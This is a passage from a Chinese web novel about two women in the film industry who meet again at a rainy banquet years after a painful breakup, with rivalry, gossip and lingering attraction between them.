转向大道，苏芙一脚油门踩下去赞叹道：“这样才对嘛，把失败的前任狠狠踩在脚下。再说，她这种名声，哪里敢在内地出现？估计要在国外住一辈子了！她和晏瑾年，两个法制咖锁死！她俩就在国外混一辈子吧，永远都别回来了！锁死锁死都锁死！” 一旁的苏寄欢忽然摸摸索索打开袋子摸出一颗药填嘴里，旋即抽出矿泉水灌口水咽下。 苏芙瞥了她一眼，笑着夸奖：“吃药呢？真好，按时吃药真不错，你可要快点好起来。” 还没到晚上，苏芙过来找苏寄欢。 “你还要去看乔沐音吗？我听说偌菲过去了，要带沐音吃饭。”苏芙从程偌菲那边得知了消息，“你要是过去的话，说不定赶不上趟。” 苏寄欢低头处理着工作头也不抬道：“那就不去了，对了，乔沐音生日你帮忙备着礼物。” 苏芙摊手：“你追妹妹为什么要我备礼物？” 苏寄欢脑袋上蹦出个问号：“我追谁？乔沐音？why？” 苏芙好奇了，她还以为…… 摆摆手，苏芙抱着资料起身：“随便你，我先找以薇帮你挑礼服。听说那天天气不好，我帮你把披肩也挑好。” “知道了，你先忙。”苏寄欢沉声答道。 拿起手机，弹出一则新闻[顶流女星的惊天丑闻背后究竟有什么秘密］。 苏寄欢不用看就知道新闻说的是祝星亦。 但她还是点了进去。 新闻配图是张被裁得歪歪扭扭的合影，她只余半片素色衣角，剩祝星亦一人独自站在雪地里。 原本的照片是她和祝星亦并排站着比“耶”。 评论区跳动着“活该”“堕落”的字眼，她忽然想起那时拍完这张照片，祝星亦看四下无人注意她们，一头扎进她怀里，嘴里说着“苏老师，你好香”，然后拉住她的围巾吻她下巴。 世人的惋惜总不及她的遗憾。 苏寄欢动动手点击了举报，耐心写了许多内容关掉手机。 窗外鸟雀啁啾，又是一年春。 次日她前往鹿芜观，拾级而上，晨扫的道姑拂去角落里滋生的青苔。 苏寄欢把架子上被风吹在一起的祈福签拨好，随后提着竹篮去观后的园子里采了玉兰和山茶花。 玄女像前的铜炉燃着新雪似的香灰，苏寄欢抬手换下昨日的枯枝，山茶与玉兰错落地插进瓷瓶，花瓣上还凝着晨露。 露水滴落在手背上，苏寄欢抬头看玄女像。 神明一直都很喜欢鲜花，但小狐狸不见了。 三年多了，三年多了，从没见过。 拜完后她装作不在意转身出去，刚进道观的刘阿婆问哪里能写祈福签，她帮忙指了下位置匆匆离去。 刘阿婆行动慢，写几个字便写了好久，写完想挂树上，身子骨不太支持。 穿堂风裹来一阵橘花香，刘阿婆转身，瞅见道观门口刚进来一个年轻人，漂亮的眉眼，戴着口罩扎着高马尾，身姿挺拔。 刘阿婆过去求助：“姑娘啊，能不能帮我把这个签挂树上啊？我够不到，挂不上去。” 抬头，对上姑娘琥珀色的眸子，好漂亮的桃花眼，脑后的高马尾用红色发带系着，摇摇晃晃，像狐狸的尾巴。 姑娘点点头，热心地把签往树上挂，刘阿婆道谢后看到那姑娘去观里拜。 等姑娘出来，刘阿婆好心提醒：“姑娘，这观里供的可是九天玄女娘娘，向她许愿望的话，有的愿望可不灵呢。” 系在马尾上的红色发带与风纠缠，姑娘抿唇，脸上笑呵呵的，“嗯，我知道，她当初也是这样跟我说的。不过我拿到了姻缘牌，这一次我不会把它弄丢了。阿婆，我先走了，再见。” 姑娘挥挥手告别刘阿婆，俏丽的身影隐在群山之中。 刘阿婆揉揉眼喃喃：“怎么感觉这两个姑娘都那么眼熟呢？” // 宴会那天早上下了雨，苏芙一来便看到苏寄欢裹成蚕蛹窝在床上。 窗外的春雨淅淅沥沥，天光泛着铅灰，对苏寄欢来说，这种天气最适合睡觉。 好在晚上才要去参加宴会，苏芙也不着急，絮絮叨叨那边场地很大，ilmeth邀请的人很多，到时候苏寄欢不要迷路了才好。 “西侧那边的旋转楼梯忒反人类，昨天去的时候我高跟鞋卡在里面拔都拔不出来，那一刻我感觉我就是灰姑娘。”苏芙想到昨晚的经历便脑瓜疼，她提醒苏寄欢到时候不要从西侧下，否则明天就多了一条尴尬的热搜。 床边的懒人沙发上，苏芙刷着手机还外放声音，吵得苏寄欢无法好好休息。 眼看已经十一点多了，苏寄欢伸了个懒腰下床洗漱。路过苏芙那边，看她正在刷短剧。 苏寄欢还没问看的什么，苏芙把手机怼她脸上：“《黑暗之路》，一个超好看的复仇短剧。制作水准高到我以为是什么电影，怪不得热度破亿呢。也难怪幕视这么扶持[星闪］，开屏都要宣传她们。她们拍的短剧质量高到出奇，我听说近段时间要转拍电视剧，你可得有点危机感。看样子ilmeth对[星闪］很上心，真要是拍正儿八经的电视剧，爆一部就能直接飞升跟我们[苏盛］抢资源了。” [星闪文化］，一家国外注册的影视经纪公司，对于正经公司来说，最初这家公司和草台班子没什么区别，听说公司老板还兼任编剧、导演以及后期。 但全公司努力做出了一部火出圈的短剧《你的玫瑰花》，此后便一跃飞升拿到诸多资源。 投入多，作品也多了。[星闪］短短两年竟拍了几十部短剧，平均两三周一部。 和粗制滥造的短剧不同，[星闪］的短剧质量很好，宣发也非常专业，看得出团队很懂娱乐圈，也懂观众想看什么。 短剧赛道居然卷成这样，真可怕。 苏芙歪在沙发上边看边说：“我都想不到她们真要是拍电视剧会有多好看，感觉这家影视公司很会造氛围感，也很舍得做后期，日后钱够了绝对能出大片。” 她抬脚晃晃指着苏寄欢说：“鸭头，我命令你多看看她们的短剧，别哪一天被这后起之秀超越了。现在可是流量时代，这家公司很明显会玩流量，背后又有ilmeth支持，哪一天真出了爆剧，我们可就危险了。” “你想多了，短剧赛道的人去正经影视圈挤，那得看看她有没有勇气和资格。”苏寄欢叹苏芙还是不懂这圈子的水有多深，“真要是没什么准备就硬闯，她们别把自己给玩死。” “噫～长江后浪推前浪，你小心被后浪拍死在沙滩上！” 苏寄欢冷哼一声：“白日做梦。” 再瞥了眼那部短剧，女主的每一根发丝都做了渲染。 饰演女主的演员是当年曾在《外乡人》里跑龙套的周娅，年初被评为[短剧女王］——作为[星闪］的签约艺人，周娅出演[星闪］的十部短剧女主，想不惹眼也难。 电影龙套都能当短剧女王，看来短剧这个圈子还是没资格跟正经影视硬碰硬。 至于[星闪］转去拍电视剧……苏寄欢擦擦脸上的水珠苦笑一声。 影视圈哪有那么好混，某人就把自己玩得身败名裂。 屋外春雷炸响，外放的短剧声音混着苏芙的笑声传来。苏寄欢拿起苏芙带来的礼服，淡紫色的抹胸裙。 [我和你初遇，你穿的就是这个颜色］ [姐姐穿紫色也很有韵味］ 脑海里突然出现某人的声音。 苏寄欢摇摇头，选择性忽视这些声音。 晚宴在一座豪华别墅里面，大门紧闭着，嘉宾从两侧的门进场。一楼中央是长长的红毯，两侧是旋转楼梯直通三楼，二楼是乐手演奏和表演区。 苏寄欢进入一楼便被许多人围着打招呼。如今的苏寄欢又拍戏又运营[苏盛］，风光无限，好不容易抽身直奔三楼的会场，她记住苏芙的话没有走右侧楼梯。 姜妤璇过来跟苏寄欢敬酒：“你能来参加宴会真是难得。听说你过几天还去国外出差，神啊，你就不能多休息休息？我和你好久没有放下工作聊聊天了。” 又有人跟苏寄欢打招呼，她礼貌颔首点头，回过神道：“忙完这段时间就好了，肯定和你好好聊聊天。” “一言为定？” “当然。” ilmeth办的宴会多是影视名流和商业名流，苏寄欢与这些人应酬忙得脚不沾地，得了闲便和旧友们围在三楼栏杆处聊天。 “寄欢，你有没有看最近那个很火的短剧《黑暗之路》？”李杭怡问。 苏寄欢听到这个名字有点无奈：“你怎么也看？苏芙今天还在跟我嚷嚷这部剧。” 一旁的姜妤璇忙说：“当然是因为很好看啊，另外，你不知道吗？[星闪］的老板这几天刚回国，也被邀请到宴会上，不过还没看到她人在哪儿。” 苏寄欢咽下酒液不甚在意：“她在哪就不用过多关注了，说不定等下林总会过来亲自介绍。毕竟[星闪］日后要转战长剧，ilmeth肯定希望[星闪］和我们这些影视公司认识认识，这样以后合作上会方便点。” 好友们这才恍然大悟。 “寄欢说得也是啊。” “还是寄欢看问题透彻。” 姜妤璇心道是这样没错，又说：“我听说ilmeth有给[星闪］投资，难怪[星闪］的短剧都在幕视独播还那么爆火，日后[星闪］的长剧估计也在幕视播，真就是互惠互利。” 李杭怡道：“要说也是ilmeth有眼光，[星闪］的短剧质量真的不错，爆火也是理所当然，她们的老大还是有点水平的。” 苏寄欢沉吟不语。 虽然她不太在意这家小公司，但在这个流量为王的时代，只要能够抓住流量红利，小公司也能迅速崛起。ilmeth对[星闪］的投资显然是一个明智的选择。 [星闪］的短剧质量不错，爆火也在情理之中。如果[星闪］能够持续获得大投资，并且继续推出优质作品，其影响力和市场份额必然会进一步扩大，从而对大公司构成潜在的威胁。 [苏盛］未来的对手？ 苏寄欢捏紧高脚杯。 姜妤璇还在和李杭怡说着什么，苏寄欢垂着眼看楼下吵吵嚷嚷的人群陷入深思。 一阵嘈杂的声音在身后响起，苏寄欢回头望，波浪卷的尖脸女人缓步走来。 是ilmeth的林总，这场宴会的主人。 林总走过来站在栏杆处跟苏寄欢聊起了天，ilmeth以前和[苏盛］合作过，早前也入股了[苏盛］，两家关系一直都不错。说着，林总讲起了[星闪］，苏寄欢跟一旁的友人使了个眼色。 友人叹苏寄欢未卜先知。 苏寄欢的猜测不是空穴来风，[苏盛］现在风头过火，想和[苏盛］合作的大有人在；[星闪］是ilmeth投资的影视公司，近期又要转拍长剧，[苏盛］经验多，ilmeth促成[星闪］和[苏盛］合作是最优解，互惠互利。 “Stella这周才回国，我也邀她来宴会了，不过她还没到。”林总笑看着苏寄欢饮了口酒，调侃道：“兴许是因为天气不好的缘故，这场雨挡住了佳人的脚步。” 苏寄欢颔首，跟着淡淡笑了声。 宴会厅外，纤细的雨线变成淋漓的大雨，雷声轰鸣而过，潮湿的地面被车轮碾过一道痕迹。 骤雨的春夜，宴会厅里透出的光像被打碎的星光落在车窗上，朦朦胧胧，看不真切。 戴白手套的侍者一手开门一手撑伞，车内身穿黑色开衩裙的优雅女人踩在干净的地毯上提起裙摆，以免沾到雨水。 越靠近那扇门，喧哗声越刺耳。 雨雾在远方笼了一层薄薄的纱，她在那扇门前站了许久才呼出一口气，跟旁边的侍者示意开门。 从宴会开始前便紧闭的大门忽然打开，宾客听闻响动，齐齐往大门那处望去。 春雷滚滚，雨声潺潺。 耀眼的光下出现一道突兀的风景，女人身姿挺拔，墨发挽起，一身开衩黑裙。 明艳的五官褪去了三年前的稚嫩和戾气，精致的眉眼里被一层霜意覆盖，和往日那个爱豆相比，现在的她更清冷，更稳重，也因为历经的风霜打磨得更成熟。 站在门口，祝星亦紧抿着唇接受众人的目光，眼中带着不可言说的孤傲。 “什么！那是……祝星亦！！” “祝星亦？她怎么来了？”有人难以置信地低声惊呼。 有人轻蔑道：“不是说她早就被封杀了吗？怎么还敢来这种场合？” “我以为她早就坐牢了呢，没想到居然还能出现在这里。” “这个法制咖是怎么出现在这里的！报警，我要报警把她抓起来！” “晏氏的走狗也敢来这里！可恶！” “天知道当年她有多过分，都身败名裂了还来这里，谁允许的！是谁！” “快报警啊！把她抓起来！让她坐牢！” 此起彼伏的讨论声混着雷声响起，祝星亦毫不在意地踏上红毯。 她迈出第一步，抬眸，和三楼淡紫色衣裙的女人对视。 四目对视的一刹那，苏寄欢的笑意凝在嘴边。 林总的话在耳畔响起：“苏小姐，这位就是Stella，她是[星闪］的CEO，也是你的故人祝星亦。” [星闪*］的CEO，祝星亦么？ 俯视着一楼红毯上的女人，苏寄欢手指攥得几乎要渗出血来。 祝星亦……祝星亦…… 八年前，她们初相识。 一个是奖项颇多的实力影后，一个是刚出道的爱豆。 后来，一个是风光无限的苏总，一个是身败名裂浑身黑料的失踪人士。 失去消息的三年多像潺潺的春雨隐匿在黑夜之中，无数次喃喃的[我恨你］被料峭的风冲乱。 她望着那双琥珀色的眸子，眼角酸涩。 以为再相见会不在意，以为会恨得更强烈。 可重逢的第一秒，死在灰烬下的心脏忽然跳动。 第129章 她的高跟鞋 黑裙女人垂落的睫羽在眼睑下投下灰影，她微扬着下巴穿过议论声拾级而上，裙摆逶迤过二楼的钢琴曲，最后在三楼驻足。 见祝星亦往这边走来，姜妤璇酒杯没握稳，杯壁的水珠蜿蜒下来。她下意识瞥向一旁的苏寄欢，却见苏寄欢慢条斯理地举杯喝了口酒，神色未起一丝波澜。 前任相见，应该分外眼红，怎么双方都那么平静？ 直觉告诉姜妤璇要先走一步，但身体告诉她要留在这里。 姜妤璇选择一动不动当柱子。 李杭怡垂着头扯了下姜妤璇的衣服，顺便使了下眼神，姜妤璇压下她的手，示意莫要先走，于是两人默契地各退一步为走过来的祝星亦让路。 祝星亦走过来时一阵橘花香轻轻飘过，姜妤璇嗅了嗅，这个味道和苏寄欢身上的味道极其相近。 “星亦，你可来了，我们这宴会都进行到一半了。”林总招招手让祝星亦靠近些，“拖到现在才出场是有什么心事吗？还是说，想要让人眼前一亮？” 祝星亦提着裙子往林总身旁站站，欲言又止。 早上林总告诉她晚宴八点开始，教她不要来太早，结果坐到车上才知道宴会七点就开始了。 祝星亦不知林总为何给她下套，但贸然回击林总又不是很好。 这个林总性格忒古怪，祝星亦头一次见皇帝型人格——决策如闪电、执行如闪电、心思猜不透、一猜就猜错。 “抱歉，有事耽搁了。”祝星亦放轻声音撩了下垂在耳边的发丝，这个动作让苏寄欢摩挲着高脚杯的指尖顿了顿。 祝星亦瞥向侧身而立的苏寄欢，三年未见，苏寄欢比往日更清贵疏冷，平静剔透的浅褐色眸子敛在纤长的睫羽之下，冷峻的眉目像初见那样陌生。 簌簌落雪般的人在彼此不存在感情链接后，又恢复了过去的冷漠。 “苏小姐，好久不见。”祝星亦主动开口问好。 苏寄欢冷眼看去，声音从喉咙里飘出来：“好久？多久？1279天？” 祝星亦一愣。 林总戏谑的笑容在两人之间游移，朝祝星亦望了一眼说：“苏小姐的意思是，你迟到太久了。” 苏寄欢抬起眼睫淡淡道：“麓城和三年前相比可没太大变化，祝小姐怎么会来这么晚？” 祝星亦收回目光攥紧手指，面色如常道：“对苏小姐来说，麓城确实没有太大变化。但我已经几年没回国，对于我来说变化很大，我还需要适应一段时间。” “适应？”苏寄欢冷冽的目光落在祝星亦的脸上，仿佛在审视一个陌生人：“你的适应能力一向很强，跟谁在一起就会自动变成那人喜欢的模样，我相信你很快就能适应现在的麓城。不过你现在回来是打算长住，还是像以前一样随时准备离开？” 冰冷的视线递了过来，祝星亦心中微微一紧，深吸一口气缓声说：“我的公司已经搬到国内，目前计划是留在麓城以及寻找更多合作伙伴。” 苏寄欢轻笑一声：“是吗？那真是令人期待。但我想了解一下，祝小姐的计划里，是否也包括了……旧人旧事？” “我……”祝星亦还未说什么，林总的话插了进来。 “听不懂，我走了，你们慢慢聊。”林总抬起手腕晃了晃，一副[朕退朝了］的模样，转身离开。 走两步，退一步。林总看向还杵在原地的姜妤璇和李杭怡两人微笑道：“好看吗？要不二位在这里帮我给她们录像？” 姜妤璇尴尬地握着酒杯拉着李杭怡往一旁走走：“不了，我们也先走了。” 众人离开后只余二人在栏杆处，路过的嘉宾捂着嘴去一旁窃窃私语。 “听说了吗？苏总当年被祝星亦背叛还被甩了，可狼狈了。” “不敢相信她们会在这里见面，怎么没有打起来？” “你知道[星闪］有意和[苏盛］合作吗？祝星亦要不要脸？她当初那么对苏总，现在还敢求合作？” “呵，她要是要脸她怎么会走到这一步？当初不要脸拿内定影后，现在不要脸创[星闪］，钱都是被不要脸的人赚了。” “苏总不可能原谅她，也不可能和她合作。背叛者背叛一次，终生不用。” “我打赌，苏总肯定会报复回去，我支持苏总对祝星亦狠狠羞辱！” “这种不忠诚又坏又满嘴谎言的女人，就该被苏总狠狠羞辱！” 耳膜被尖酸的私语刺穿，流言比冰锥更冷硬地刺破心脏。 祝星亦垂在缎面礼服上的手骤然收拢，余光里，苏寄欢冷峻的侧影裹着拒人千里的寒霜。 “苏小姐，你有关注过[星闪］这些年的短剧作品吗？”祝星亦勉强维持住心脏的钝痛，极力让自己的声音听起来平稳些。 向侍者又讨了杯酒后，苏寄欢鼻腔里发出一声短促而轻蔑的冷哼：“影视工业链最末端的残渣，也配叫作品？我没空浪费时间关注这种廉价的东西。” 颈上传来一阵刺痛，空气里飘来的酒精味道像被刺破的气球在耳边炸开。 祝星亦低眸，嘴巴嚅动了半晌仍未开口。 她的作品才不是残渣、廉价的东西。 初初林总想要看到数据和作品，祝星亦多数资金被冻结，为了把那些东西呈上去，只能靠着仅剩的资金筹备团队。 拍摄期间她身兼数职，既是导演又是制片人，常常在片场忙到深夜，拍完又马不停蹄地亲自做后期。 她无数次在深夜惊醒，害怕错过林总投资的期限。好在努力没有白费，第一部短剧播出后小火了一把，之后她更是拼尽全力，一年监督制作几十部短剧，才让[星闪］慢慢有了起色，顺利获得林总的投资，也积累了拍摄长剧的资源。 可如今，这些倾注了无数心血的努力，在苏寄欢眼中竟只是[廉价］[残渣］。 喉间铁锈味翻涌，祝星亦捏紧拳头平静地接受苏寄欢的评价。 当初她对苏寄欢的嘲讽和羞辱，现在都回到了她身上，她无权为自己争辩。同样的，苏寄欢看不起短剧也是理所应当。 苏寄欢自出道起便参演高质量电影，所接触的剧本和班底皆是行业顶尖，从未在事业上有过丝毫将就。后来[苏盛］开创影视板块，凭借强大的资源和人脉制作出的作品也都备受赞誉。 而自己白手起家，只能选择快节奏、低成本的短剧作为事业起点。 不过她始终牢记苏寄欢曾说过的“人要为自己的作品负责”，她制作的每一部短剧都按照电影的制作流程精心打磨。可即便这样，在苏寄欢看来短剧依旧上不得台面。 祝星亦注视着苏寄欢的手腕，昔日叠戴两只的金玉镯子早已消失不见，那些情份已经随她说出的分手一并埋藏在过去。 “苏小姐既然这么认为，我也无话可说。短剧确实在制作成本和专业性上比不上电视剧和电影，所以[星闪］现在计划转战长剧，力求呈现更优质的作品。[苏盛］在影视行业经验丰富，我想……” “[苏盛］的经验确实丰富，毕竟失败的经验有很多。”苏寄欢冷漠地转过头，柚子花香混着酒精的味道割破两人的距离，“但是祝小姐，我不是慈善家。如果随便一个拍短剧的都能和[苏盛］攀上关系，外人怎么看[苏盛］？” 祝星亦急忙解释：“随便一个拍短剧的？苏小姐，您这话从何说起？论热度，[星闪］新剧热度已经破亿，当下很多热播电视剧都难以企及，明明……” “不过是下沉市场罢了。”苏寄欢晃着酒杯打断她，“你的短剧受众和[苏盛］作品的受众能相提并论？再说了，你不是搭上ilmeth了吗？让林总给你找其他影视公司的资源不就行了？” 高跟鞋清脆地叩着大理石地面，苏寄欢逼近讥笑：“怎么，搞不定林总？也是，林总是直女，她才不会被你伪装的样子骗得团团转，更不会被你吸血和背叛。” 意有所指，某人是骗子、吸血鬼、不忠诚的背叛者。 祝星亦一瞬间顿住，不想在此处提及的感情往事还是被抖搂出来。 她知道当年自己是如何伤害苏寄欢的，但潜伏进晏氏的秘密必须守住。 看着苏寄欢的笑，祝星亦喉咙一阵疼痛，她垂着眼低声说：“苏小姐，感情上是我对不住你，但现在谈的是两家公司的合作……” “公司？”苏寄欢嘴角勾起一抹自嘲的冷笑，“当年晏氏围剿[苏盛］，你递上的刀可是最锋利最无情的。现在还要跟我谈合作？” 说罢，她晃了晃手中的酒杯，将里面的酒一饮而尽，声音愈发冰冷刺骨，“除了你，谁都有资格。” 苏寄欢将手里的酒杯甩在一旁的餐桌上抬步离开，侍应生端着鲟鱼子酱从她们之间穿过。 祝星亦望着那道摇曳的淡紫色裙摆融进人群，喉头发紧。 谈判失败，彻底失败。 “祝小姐，林总在一楼等您。”关南欣不知何时走了过来，她看了一眼苏寄欢离去的背影，关切地问：“您和苏小姐谈得怎么样？她有合作意向吗？” 祝星亦低垂着眼帘摇头：“没有，她拒绝了，很坚决。” 关南欣轻轻拍了拍她的背，安慰道：“别灰心，一次失败而已。她愿意和您交流，就说明还有转机。谈合作本就是这样，一次不行就两次，两次不行就三次，只要有决心，这些困难都不算什么。要是实在谈不拢，你再找别的公司，这世上影视公司多的是，何必在一棵树上吊死，对吧？” 祝星亦艰难地开口：“可是我想和[苏盛］合作，是因为我想……” “祝小姐，先别说了，您赶紧去一楼，林总在等你了。”关南欣打断了她。 紫色身影隐在人潮里，祝星亦垂眸转身从旋转楼梯那侧去往一楼。 人群中清冷的女人偏头看了眼祝星亦的背影，眉目中多了一丝不甘。 高跟鞋的细跟叩在台阶上，哒哒声渐渐消融在宴会厅的觥筹交错里。祝星亦走着，台阶忽然吞噬她的踉跄，她扶着象牙白的扶手，另一手提起裙摆，发现鞋跟卡在了缝隙里。 祝星亦费力抬脚，鞋跟纹丝不动。身旁的人路过她时投来怪异的目光，配合被卡住的鞋子，她现在觉得有点无助。 “星亦，快过来。”一楼的林总招手。 祝星亦咬住唇线，冷汗流过脊背，她颔首笑笑，示意自己马上过去。 她没多想，迅速把脚从高跟鞋里抽离，踩在台阶上的一瞬间，冰凉的战栗直通颅顶。她的裙子长，今日穿的又不是绑带高跟鞋，光着一只脚走下楼梯时没有任何异样，至于那只卡在台阶上的鞋子……算了，不管了。 走到林总面前，祝星亦稳住情绪和一旁的贵人交谈。 潜伏晏氏一事因特殊原因无法公开，祝星亦虽无实际罪状，却被流言蜚语所困。所幸林总在舆论把控方面能力强，她坚定地为祝星亦站台。如此一来，不少人见风使舵，也开始给祝星亦几分薄面。 祝星亦很感谢林总，林总却觉得这只不过是对她的小回馈。毕竟晏氏是许多人的心腹大患，林总理所应当把祝星亦重新扶起来。 当然，林总只是提供平台，至于祝星亦能不能起来，那要看祝星亦有没有这个能力。林总归根结底还是商人，商人不做赔本的买卖，祝星亦还是要靠自己。 其他都好说，难在舆论上。而克服舆论是一个长久的过程，祝星亦做好了准备。 “所以[星闪］目前计划展开长剧的筹备工作，从流量数据来看，[星闪］已经取得了……”祝星亦正专注地向林总身旁的贵人介绍着，不经意间抬眸，瞥见不远处的苏寄欢正朝这边走来。 苏寄欢手里似乎拎着什么。 好像是她的高跟鞋…… 祝星亦屏气，她的高跟鞋被苏寄欢拎在手里，宛若一把锋利的刑具。 十步、九步、八步…… 苏寄欢的鞋跟在地面叩击声响，寒铁般的气息愈来愈近。 祝星亦双腿打颤，冷汗直流。 看苏寄欢的架势，好像会把手里的高跟鞋甩在她脸上。 好……好害怕…… 第130章 夜雨留宿 五步、四步…… 苏寄欢把拎着高跟鞋的手背在身后。 两步、一步…… “苏小姐～”林总眯眼笑了笑，一旁的贵人礼貌颔首。 林总为苏寄欢让出些位置，询问道：“你与星亦谈得如何？” 苏寄欢晃了下背后的手，她站在祝星亦身旁，祝星亦眼睛一瞄就能瞄到晃晃悠悠的高跟鞋。 祝星亦捏紧拳头，可恶，好想把鞋抢过来。 苏寄欢似是感应到了祝星亦的想法，身子侧了侧，恰好把鞋子隐在身后，同时还能直面祝星亦。她瞥了一眼祝星亦，淡声开口：“我与祝小姐有一些分歧，我想改日再议。” 祝星亦耳朵竖起来，这是还有商量的余地吗？ 林总笑说：“行。好事多磨，你们多磨磨，说不定会有好事发生。” 苏寄欢附和道：“嗯，多磨磨，我和她多磨磨。” 说完，晴雪般的视线飘到祝星亦脸上。 祝星亦不自觉挺直腰背，耳朵莫名烫了起来。 林总走开后，祝星亦嗅着柚子花香，踩在地板上的脚趾微微蜷起，踌躇了会儿开口：“苏小姐，你可以把我的鞋子还给我吗？” 苏寄欢忽然低笑出声，背在身后的手缓缓抽出。一根手指勾着鞋子晃悠了下，她半掀着眼皮漫不经心问：“这是你的鞋子？” “是。”祝星亦回答。 祝星亦以为苏寄欢会不给她，但苏寄欢把鞋子往前送了下，她便去拿。不料对方完全是逗。弄的心态，手腕一晃便教她扑了空。 踉跄间她单脚跌进温软怀抱，掌心下是对方腰侧起伏的肌理。 对方身子一僵。 “苏小姐，不好意思。”祝星亦仰起脸轻声呢喃，吐息拂过苏寄欢的锁骨。 分明是致歉，尾音却勾着蜜糖般的颤，让苏寄欢想起多年前的雨夜她也是这样蜷在自己怀里，说冷要抱。 苏寄欢低眸看怀里的坏狐狸，琥珀色的眸子像海水里的玻璃珠子，澄澈透明，漂亮的上目线直勾勾盯着她，轻软缠绵的声音好像是回到了在一起前后那段时光的模样。 坏狐狸又说话了，薄薄的红唇上下一碰，绵绵的音调像沾着露水的嫩芽：“苏小姐，我脚很凉，把鞋子还给我。” 苏寄欢绷紧凉薄的脸，压着嗓音开口：“你放开我，我就还给你。” 坏狐狸听话地松开手，然后问她要鞋子。 苏寄欢却没给。 祝星亦正欲说什么，苏寄欢拎着鞋子半跪下去。 裙摆铺开淡紫色的涟漪，苏寄欢抬手伸进祝星亦的裙摆。 她冰凉指尖握住瓷白脚踝的刹那，祝星亦全身战栗。 抬脚配合着，苏寄欢忽然用拇指蹭过她凸起的踝骨，她几乎要站不住了。 好热，小腹好热。 “穿好。”苏寄欢猛地起身后退，“西侧那边的旋转楼梯容易卡鞋跟，等下不要再从那边走。” 苏寄欢没有多废话，转身快步离去，“有空再见，Cinderella。” “等等。”祝星亦踩着高跟鞋追了上去。 冰冷的背影没回头，径直走着。 祝星亦小跑了下才追上去，她拦住苏寄欢极力争取着：“苏小姐刚刚说的[改日商议］，能否给个准确的时间？明天？后天？还是别的日子？” 苏寄欢淡淡扫了祝星亦一眼道：“一些场面话罢了，祝小姐竟然会当真？” “可我希……” “不要再对我过多纠缠，没用的。”苏寄欢长腿一迈，只留给祝星亦一个背影。 约莫九点，晚宴结束。 夜雨更迅猛了些，苏寄欢把脸埋进驼色披肩里。披肩分明裹得严实，指节却像攥着冰棱般发青。 雨水在玻璃车窗上蜿蜒着，将远处零星的伞影都渲染成模糊的灰斑。她满怀期待地望着如鸟飞散的宾客，渴望从一把把撑起伞下找到谁的影子。 找不到。等不到。 苏芙调整空调风口，潮湿的空气往车内蔓延，“可以回家了吗？你到底在等什么？” 暴雨折断了太多不该涌上来的回忆和期待，苏芙看到苏寄欢睫毛上凝着的水雾，不知是上车前沾了斜溅的雨，还是别的什么。 “没等什么，送我回家。”苏寄欢裹了裹披肩，手脚有点发凉，她想她本就不应该等。 雨势愈急，路不好走，苏芙开车更小心些。顶着暴雨到家休整片刻，苏芙拉开窗帘看窗外的雨水叹道：“这雨都下一天了，什么时候能停？你过两天还要出国呢，可别耽误了。” 苏寄欢随意应了两句便窝在沙发上开始处理工作，苏芙见了催她赶紧上楼洗漱睡觉，谁大晚上参加完宴会还要工作的。 苏寄欢看时间确实不早了，抱起笔记本起身上楼，敲门声在这时响起。 苏芙边嘱咐苏寄欢早点睡别熬太晚边开门，门外春雷轰隆而过，紧接着苏芙愤怒的声音随着雷声一并响起—— “祝星亦！你怎么在这里！” 苏芙难以想象逃到国外的法制咖居然出现在苏寄欢的家门口，什么意思？这是什么意思？还想要害苏寄欢吗？ 门口的祝星亦拎着收起的雨伞站在檐下颤颤巍巍喊了声“二姐”。 这个称呼一出，苏芙瞪着眼暴起：“二姐？你喊谁二姐呢？我跟你有关系吗你喊我二姐？？你一个臭名昭著的法制咖也敢喊我二姐？你算什么东西！” 祝星亦抓着伞柄退了两步想说什么，苏芙根本没打算让她开口，继续像机关枪似的开口：“你个忘恩负义的狗东西，当年要不是你和晏氏厮混在一起，我们[苏盛］会过得那么难吗？！邀你演个戏你推三阻四，要你演女主角还亏待你了吗？？” “寄欢她把什么都给了你，把你从十八线扶到影后的位置，你转头就把寄欢踢了。你对得起寄欢吗？你对得起她为你操劳的日日夜夜吗？！” “你还出现在这里干什么？！你怎么敢回国的啊！你怎么敢的啊！” 苏芙的声音像一把淬着毒血的刀砍在祝星亦身上，她没有还手之力，她没办法光明正大地告诉她们，当年她那样做只是为了接近晏氏搜取证据。 她只能颤抖着肩头任由苏芙责骂，然后在苏芙的愤怒里被推到雨里。 “滚！你给我滚！”苏芙恨不得把屋子里的水果拿出来丢在祝星亦身上，她竖着眉毛厉声赶祝星亦走，“快给我滚啊！你永远都不要来这里，永远都不要和我们苏家人有牵扯！你和晏氏一样是我们苏家的仇人，我们永远都不会原谅你，寄欢更是恨死你了！滚！快滚！” 雨势太大，雨水打在祝星亦脸上冰冷得很。她匆忙撑起伞遮雨爬起来想要上前，苏芙砰的一声把门关上。 屋里刚下楼的苏寄欢问苏芙在干什么，怎么那么吵。 苏芙兴冲冲地坐回沙发上哼哼两声：“没什么，雨太大了，我出门看看有没有什么妖魔鬼怪。” “你在这留宿的话就赶紧洗漱睡觉，我……”苏寄欢还没说完，屋外又响起敲门声。 苏芙来不及阻止，苏寄欢便朝门口走去拧开门把手。 “二姐，你听我说，我知道我过去对你们造成了极大的伤害，我……” 祝星亦的声音在抬起湿漉漉的脸时变弱。 雨伞在此刻合上，水珠顺着伞顶滴滴落落，一条条蜿蜒的水痕流到脚下。 祝星亦脸上的雨水顺着下巴滴落到衣身上，裙子上也滴着水，裙摆已经脏了。 苏寄欢抿唇垂眸看着有些狼狈的祝星亦。 刚刚在宴会上还是孤傲的[星闪］CEO，现在已经变成落水狗了。 她一言不发，她也沉默不语。 苏芙匆匆跑来把门彻底拉开，她指着祝星亦继续骂道：“还不走！你个狗东西阴魂不散是不是！我告诉你，你要是再不走我就报警抓你，我要让你这个法制咖坐牢！把你枪毙你也是活该你知不知道！” 看祝星亦还一动不动，苏芙立马上去推这个难缠的坏女人，手刚伸出来便被一旁的苏寄欢拉住。 苏芙跺脚：“干什么？快赶她走啊！不然赶紧报警把她抓起来，狠狠惩罚她！” “怎么惩罚她我自然有我的想法，你不用管。你先去洗漱，我来和她沟通。”苏寄欢放下苏芙的手，苏芙瞪了祝星亦一眼骂骂咧咧去楼上。 世界归于寂静，除却屋外潺潺的雨声。 苏寄欢抄起衣架上昂贵的披肩丢在祝星亦身上，“先擦擦身上的雨，怎么回事，有伞还淋一身？” 摸着披肩上好的料子，祝星亦没舍得用它擦，只裹在身上轻声说：“雨太大，不小心淋到的。” 风吹过来，冻得祝星亦哆嗦一下。 苏寄欢睨了她一眼，抬手让她进屋子。 门关上，人也温暖起来。 